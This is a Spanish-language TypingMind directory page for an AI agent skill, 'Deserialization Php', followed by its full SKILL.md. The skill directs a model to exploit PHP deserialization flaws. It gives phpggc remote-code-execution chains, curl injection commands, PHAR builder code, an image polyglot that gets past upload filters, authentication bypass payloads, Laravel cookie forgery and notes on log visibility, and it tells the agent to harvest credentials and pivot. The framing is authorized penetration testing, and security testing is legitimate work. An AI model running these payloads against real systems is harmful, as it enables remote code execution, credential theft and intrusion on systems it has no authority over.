Logotipo de Deserialization Php

Deserialization Php

Organización
blacklanternsecurity
deserialization-php

Exploit PHP deserialization vulnerabilities during authorized penetration testing.

Descripción general

Editorblacklanternsecurity
Repositoriored-run
Nombre de la habilidaddeserialization-php
Estrellas
276
Forks
39
Archivos incluidos
Solo instrucciones
LicenciaGPL-3.0
Enlaces
  • Instrucciones en Markdown

    Un archivo SKILL.md que el modelo carga cuando lo necesita, de modo que solo consume tokens cuando la petición encaja con la habilidad.

  • Funciona con cualquier LLM

    Las habilidades de IA están en Markdown, no en código específico de un proveedor, por lo que funcionan con GPT, Claude, Gemini, Grok o un modelo local.

  • Todo en las instrucciones

    Todo lo que necesita el modelo está en las instrucciones: no hay archivos adicionales que sincronizar.

  • Código abierto

    Publicada por blacklanternsecurity en GitHub. Revisa el contenido original antes de instalarla.

Instalación

Instala la habilidad de IA Deserialization Php en TypingMind para usarla con cualquier LLM, o añádela a otro agente que lea SKILL.md.

1

Instalar en TypingMind

TypingMind instala una habilidad directamente desde su carpeta de GitHub: lee SKILL.md, empaqueta los archivos de recursos y guarda el resultado localmente.

  1. Abre la aplicación y ve a Plugins → Habilidades.
  2. Elige «Instalar desde GitHub».
  3. Pega la URL de la carpeta de la habilidad que se muestra a continuación y confirma.
    https://github.com/blacklanternsecurity/red-run/tree/main/skills/web/deserialization-php
  4. Activa la habilidad en cada chat en el que quieras tenerla disponible.
Plugins → Habilidades → Añadir habilidad → URL de GitHub; después, pega la URL de la carpeta y pulsa Continuar.
2

Instalar en otro agente

Cualquier agente que lea el formato Agent Skills puede usar esta habilidad: copia la carpeta en el directorio de habilidades de ese agente.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/blacklanternsecurity/red-run.git /tmp/red-run
mkdir -p .claude/skills
cp -r /tmp/red-run/skills/web/deserialization-php .claude/skills/deserialization-php
Reinicia Claude Code después de copiarla para que detecte la nueva habilidad.

Úsala en TypingMind

Activa Deserialization Php en cualquier chat de TypingMind y el modelo se encargará del resto. Su nombre y descripción se incluyen en el prompt del sistema y, en cuanto una petición encaja con la habilidad, el modelo carga las instrucciones completas por sí solo. No tienes que invocarla manualmente y no consume tokens hasta que se utiliza.

El modelo carga Deserialization Php automáticamente en cuanto una petición es relevante para esa habilidad.

Funciona con cualquier modelo de IA

Las habilidades de IA son instrucciones en Markdown, no código específico de un proveedor, por lo que Deserialization Php no está vinculada al modelo para el que se creó. Instálala una sola vez en TypingMind y úsala con GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama o un modelo local que ejecutes tú, todo con tus propias claves API.

  • Se carga solo cuando se necesita

    El prompt del sistema solo incluye el nombre y la descripción. Las instrucciones se cargan con la primera petición que encaja con la habilidad, por lo que una habilidad que no se usa no supone ningún coste.

  • Cambia de modelo durante el chat

    Como la habilidad contiene instrucciones y no código, cambiar de modelo no impide que funcione: el nuevo modelo lee el mismo archivo SKILL.md.

Instrucciones de la habilidad

Este es el contenido de SKILL.md que carga el modelo. Léelo antes de instalar la habilidad: contiene instrucciones que tu modelo seguirá.

PHP Deserialization

You are helping a penetration tester exploit PHP deserialization vulnerabilities. The target application passes untrusted data to unserialize() or processes attacker-controlled phar:// streams, enabling object injection and remote code execution via gadget chains. All testing is under explicit written authorization.

Engagement Logging

Check for ./engagement/ directory. If absent, proceed without logging.

When an engagement directory exists:

  • Print [deserialization-php] Activated → <target> to the screen on activation.
  • Evidence → save significant output to engagement/evidence/ with descriptive filenames (e.g., sqli-users-dump.txt, ssrf-aws-creds.json).

State Management

Call get_state_summary() from the state MCP server to read current engagement state. Use it to:

  • Skip re-testing targets, parameters, or vulns already confirmed
  • Leverage existing credentials or access for this technique
  • Understand what's been tried and failed (check Blocked section)

Your return summary must include:

  • New targets/hosts discovered (with ports and services)
  • New credentials or tokens found
  • Access gained or changed (user, privilege level, method)
  • Vulnerabilities confirmed (with status and severity)
  • Pivot paths identified (what leads where)
  • Blocked items (what failed and why, whether retryable)

Prerequisites

  • A PHP deserialization endpoint (unserialize() on user input, or filesystem function accepting phar://)
  • Tools: phpggc (git clone https://github.com/ambionics/phpggc), Burp Suite for request interception
  • Knowledge of target framework/libraries (Laravel, Symfony, WordPress, etc.)

Step 1: Assess

If not already provided, determine:

  1. Serialization format — look for these patterns:
PatternMeaningExample
O:<len>:"<class>"Serialized objectO:8:"stdClass":1:{s:1:"a";s:1:"b";}
a:<count>:{...}Serialized arraya:2:{i:0;s:3:"foo";i:1;s:3:"bar";}
s:<len>:"<value>"Serialized strings:5:"hello";
Tz (base64)Base64-encoded serializedDecode to check for O: or a:
  1. Entry point:

    • GET/POST parameters
    • Cookies (session data, auth tokens)
    • HTTP headers
    • File uploads (phar:// trigger)
    • Database-stored serialized data
  2. Framework — check for Laravel, Symfony, WordPress, Magento, CakePHP, Yii, CodeIgniter (determines available PHPGGC chains)

  3. PHP version — PHP 7.0+ supports allowed_classes option in unserialize(), PHP 7.4+ has __serialize()/__unserialize()

Skip if context was already provided.

Step 2: Basic Object Injection

Direct Injection (Custom Application)

If the application has vulnerable classes with exploitable magic methods:

php
# Magic methods triggered during deserialization:
# __wakeup()    — called when object is unserialized
# __destruct()  — called when object is garbage collected (most reliable)
# __toString()  — called when object is cast to string
# __call()      — called when undefined method is invoked
# __get()       — called when undefined property is read

Test payload — modify object properties:

# Original serialized session (example)
O:4:"User":2:{s:4:"name";s:5:"guest";s:5:"admin";b:0;}

# Modified — set admin=true
O:4:"User":2:{s:4:"name";s:5:"guest";s:5:"admin";b:1;}

Type Juggling via Deserialization

Exploit loose comparison (==) in PHP:

# If auth check uses: if ($data['password'] == $storedPassword)
# Send boolean true — true == "any_string" is true in PHP
a:2:{s:8:"username";s:5:"admin";s:8:"password";b:1;}

# Magic hash collision (md5/sha1 starting with 0e — treated as 0 in ==)
# md5('240610708') starts with 0e → 0e... == 0e... is true

Private/Protected Property Injection

PHP serialization encodes visibility with null bytes:

# Public property
s:4:"name";s:5:"value";

# Protected property (prefix: \0*\0)
s:7:"\0*\0name";s:5:"value";

# Private property (prefix: \0ClassName\0)
s:14:"\0MyClass\0name";s:5:"value";

Step 3: PHPGGC (Framework Gadget Chains)

PHPGGC generates POP chains for common PHP frameworks and libraries.

bash
# List all available gadget chains
phpggc --list

# Common RCE chains
phpggc Monolog/RCE1 system id                    # Monolog logging
phpggc Monolog/RCE2 system id                    # Monolog alternative
phpggc Laravel/RCE9 system id                    # Laravel framework
phpggc Laravel/RCE13 system id                   # Laravel alternative
phpggc Symfony/RCE4 system id                    # Symfony framework
phpggc SwiftMailer/FW1 /var/www/html/shell.php /tmp/data  # File write

# Output formats
phpggc Monolog/RCE1 system id -s                 # Serialized string
phpggc Monolog/RCE1 system id -b                 # Base64 encoded
phpggc Monolog/RCE1 system id -u                 # URL encoded
phpggc Monolog/RCE1 system id -p phar -o /tmp/exploit.phar  # PHAR format

# Inject into parameter
curl -X POST https://TARGET/endpoint \
  -d "data=$(phpggc Monolog/RCE1 system 'id' -u)"

Framework → chain selection:

Framework/LibraryChainsNotes
LaravelRCE9, RCE13, RCE15Requires APP_KEY for encrypted cookies
SymfonyRCE4+Common in Symfony-based apps
MonologRCE1, RCE2Widely used logging library
GuzzleFW1, Info1HTTP client — file write chains
SwiftMailerFW1-4Email library — file write
DoctrineRCE1-2ORM — RCE chains
WordPressVariousPlugin-dependent gadgets
CakePHPRCE1Framework-specific
YiiRCE1Framework-specific

Laravel with Known APP_KEY

If the Laravel APP_KEY is known (from .env disclosure, git leak, debug page, etc.), encrypted cookies can be forged:

bash
# Generate gadget chain
phpggc Laravel/RCE13 system 'id' -b -f

# Encrypt with laravel-crypto-killer
python3 laravel_crypto_killer.py encrypt \
  -k "base64:APP_KEY_HERE" \
  -v "$(phpggc Laravel/RCE13 system id -b -f)"

# Inject as Laravel session cookie or XSRF-TOKEN

APP_KEY leak sources: .env via path traversal, debug error pages (APP_DEBUG=true), git repository exposure, backup files, phpinfo().

Step 4: Phar Deserialization

When PHP filesystem functions process a phar:// path, the PHAR metadata is automatically deserialized — even with functions like file_exists(), filesize(), fopen(), is_file(), md5_file(), file_get_contents().

Create Malicious PHAR

php
<?php
// create_phar.php — run with: php --define phar.readonly=0 create_phar.php

class VULN_CLASS {  // Replace with target's vulnerable class
    public $cmd = 'system("id");';
}

$phar = new Phar('exploit.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->setMetadata(new VULN_CLASS());
$phar->stopBuffering();
?>

PHAR Polyglot (Bypass Upload Filters)

Prepend image magic bytes to make the PHAR appear as a valid image:

php
<?php
// JPEG polyglot — passes image validation, works as PHAR
$phar = new Phar('exploit.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");  // JPEG header
$phar->setMetadata(new VULN_CLASS());
$phar->stopBuffering();
// Rename to .jpg for upload
rename('exploit.phar', 'exploit.jpg');
?>

Other magic byte options: GIF89a (GIF), \x89PNG\r\n\x1a\n (PNG).

PHAR + PHPGGC

bash
# Generate PHAR with framework gadget chain
phpggc Monolog/RCE1 system id -p phar -o exploit.phar

# Create JPEG polyglot PHAR with PHPGGC
phpggc Monolog/RCE1 system id -p phar -pp GIF -o exploit.gif

Exploitation Flow

  1. Upload PHAR polyglot as image (passes extension/MIME checks)
  2. Trigger deserialization via any filesystem function that accepts user-controlled path:
    # If app has: file_exists($_GET['file'])
    curl "https://TARGET/check?file=phar:///var/www/uploads/exploit.jpg"
    
    # If app has: getimagesize($_GET['url'])
    curl "https://TARGET/resize?url=phar:///var/www/uploads/exploit.jpg"

Step 5: Autoload Exploitation

When the target has spl_autoload_register() and you can deserialize objects of non-existent classes, the autoloader attempts to load them — potentially including arbitrary files.

php
// If autoloader converts underscores to directory separators:
// spl_autoload_register(function($name) {
//     require '/' . str_replace('_', '/', $name) . '.php';
// });

// Payload to load /tmp/evil.php via autoloader:
O:8:"tmp_evil":0:{}

// Load another webapp's composer autoloader (gains access to its gadgets):
O:28:"www_frontend_vendor_autoload":0:{}

Chain technique: Load another app's autoloader via deserialization, then exploit gadgets from that app's dependencies (e.g., Guzzle FileCookieJar for file write).

Step 6: Escalate or Pivot

OPSEC Notes

  • Serialized payloads visible in web server access logs
  • PHAR files persist on disk — clean up after testing
  • PHPGGC chains contain distinctive class names (Monolog, Guzzle) that may trigger application-level logging
  • Failed deserialization attempts often generate PHP warnings/errors — check if error logging exposes testing activity
  • Laravel encrypted cookies hide payload content but cookie size may be anomalous

Troubleshooting

PHPGGC Chain Throws Error

  • Confirm the target framework/library version matches the chain requirements
  • Try multiple chains for the same framework (Laravel/RCE9, RCE13, RCE15)
  • Check if unserialize() uses allowed_classes restriction (PHP 7.0+)
  • If allowed_classes is set, only whitelisted classes instantiate — try phar:// deserialization instead (bypasses allowed_classes)

Phar Deserialization Not Triggering

  • Verify the filesystem function accepts user-controlled input
  • Check if phar:// wrapper is disabled in php.ini (allow_url_fopen does not affect phar)
  • Ensure the PHAR file is accessible at the path you're referencing
  • Try phar:// with relative and absolute paths
  • Some functions require the phar to have a valid signature

Serialized Data Modified but No Effect

  • Check if the application validates a MAC/signature on the serialized data
  • Laravel encrypts + HMACs cookies — need APP_KEY to forge
  • WordPress uses wp_salt() for cookie signatures
  • Try finding the signing key or look for unsigned deserialization points

Type Juggling Bypass Not Working

  • PHP 8.0+ changed == behavior for string-number comparison ("0" == "" is now false)
  • Check if the application uses strict comparison (===)
  • Magic hash collisions only work with loose == comparison

Preguntas frecuentes

¿Qué hace la habilidad de IA Deserialization Php?

Exploit PHP deserialization vulnerabilities during authorized penetration testing.

¿Por qué usar Deserialization Php en TypingMind?

Porque la instalas una vez y la usas con cualquier modelo. Deserialization Php está escrita en Markdown, no en código específico de un proveedor, por lo que la misma habilidad funciona con GPT-5, Claude, Gemini, Grok o un modelo local, y puedes cambiar de modelo en mitad del chat sin que deje de funcionar. TypingMind utiliza tus propias claves API, de modo que pagas directamente a los proveedores en lugar de pagar una suscripción por puesto, y tus habilidades y chats permanecen en tu propio almacenamiento.

¿Cómo instalo Deserialization Php en TypingMind?

Abre Plugins → Habilidades → Instalar desde GitHub en TypingMind y pega https://github.com/blacklanternsecurity/red-run/tree/main/skills/web/deserialization-php. TypingMind lee el archivo SKILL.md de esa carpeta e instala su contenido como una habilidad que puedes activar en cada chat.

¿Qué modelos de IA pueden usar Deserialization Php?

Cualquier modelo que conectes en TypingMind. Las habilidades de IA son instrucciones en Markdown, no código específico de un proveedor, por lo que GPT, Claude, Gemini, Grok y los modelos locales pueden cargar esta habilidad cuando una solicitud se corresponda con ella.

¿Con cuántos modelos de IA puedo usar Deserialization Php?

Con tantos como quieras. Siempre que un modelo admita habilidades, puedes usar Deserialization Php con él: GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama y muchos más, todos en TypingMind con tus propias claves API.

¿Es gratuita la habilidad de IA Deserialization Php?

Sí. blacklanternsecurity la ha publicado en GitHub bajo la licencia GPL-3.0. Solo pagas a tu proveedor de IA por los tokens que utilizas.

¿Qué son las habilidades de IA?

Una habilidad de IA es un conjunto de instrucciones reutilizables que enseña a un modelo de IA a realizar una tarea concreta. Sigue el formato abierto Agent Skills: un archivo SKILL.md con un nombre y una descripción, además de los scripts, plantillas o archivos de referencia que pueda necesitar el modelo. El modelo solo lee las instrucciones cuando tu solicitud se corresponde con la habilidad, por lo que una habilidad instalada no supone ningún coste hasta que se utiliza.

¿En qué se diferencian las habilidades de IA de los plugins o los servidores MCP?

Un plugin o un servidor MCP proporciona al modelo nuevas herramientas que puede invocar: código que se ejecuta en algún lugar y devuelve un resultado. En cambio, una habilidad de IA aporta conocimientos y procedimientos al modelo: cómo abordar una tarea, qué pasos seguir y qué se considera un buen resultado. Las habilidades son instrucciones en Markdown, por lo que no necesitan servidor, clave API ni entorno de ejecución, y funcionan con cualquier modelo.

Ver el directorio

Crea ya tu propio espacio de trabajo con IA

Suscríbete a nuestro boletín para recibir avisos sobre nuevas funciones y próximos sorteos 👇